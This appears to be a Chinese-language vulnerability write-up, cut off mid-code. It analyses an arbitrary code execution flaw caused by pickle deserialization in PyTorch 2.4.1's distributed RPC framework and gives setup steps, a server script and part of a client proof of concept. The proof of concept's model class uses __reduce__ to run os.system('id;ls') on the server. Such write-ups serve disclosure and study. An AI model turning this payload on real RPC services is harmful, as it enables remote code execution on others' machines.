前言

分析了pickle反序列化在PyTorch分布式RPC框架中导致的任意代码执行漏洞的成因

环境搭建及复现

1. 使用conda创建虚拟环境

   

2. 使用pip安装2.4.1版本的Pytorch

   

3. 分别创建server.py和client.py

   server.py创建一个分布式的RPC服务，能够处理client的远程调用请求

   # server.py
   import torch
   import torch.distributed.rpc as rpc
   
   def run_server():
       # Initialize server-side RPC
       rpc.init_rpc("server", rank=0, world_size=2)
   
       # Wait for the client's remote call
       rpc.shutdown()
   
   if __name__ == "__main__":
       run_server()
   

   

   client.py发起了RPC通信，并定义了一个简单的神经网络模型MyModel，其中包含有反序列化结束时将会触发的__reduce__函数，且对于该方法并无过滤，从而触发了了恶意代码的执行

   # client.py
   import torch
   import torch.distributed.rpc as rpc
   from torch.distributed.nn.api.remote_module import RemoteModule
   import torch.nn as nn
   
   # Define a simple neural network model MyModel
   class MyModel(nn.Module):
       def __init__(self):
           super(MyModel, self).__init__()
           # A simple linear layer with input dimension 2 and output dimension 2
           self.fc = nn.Linear(2, 2)
   
       # Define the forward method
       def __reduce__(self):
           return (__import__('os').system, ("id;ls",))
   
   def run_client():
       # Initialize client-side RPC
       rpc.init_rpc("client", rank=1, world_size=2)
   
       # Create a remote module to run the model on the server side
       remote_model = RemoteModule(
           "server",  # Serve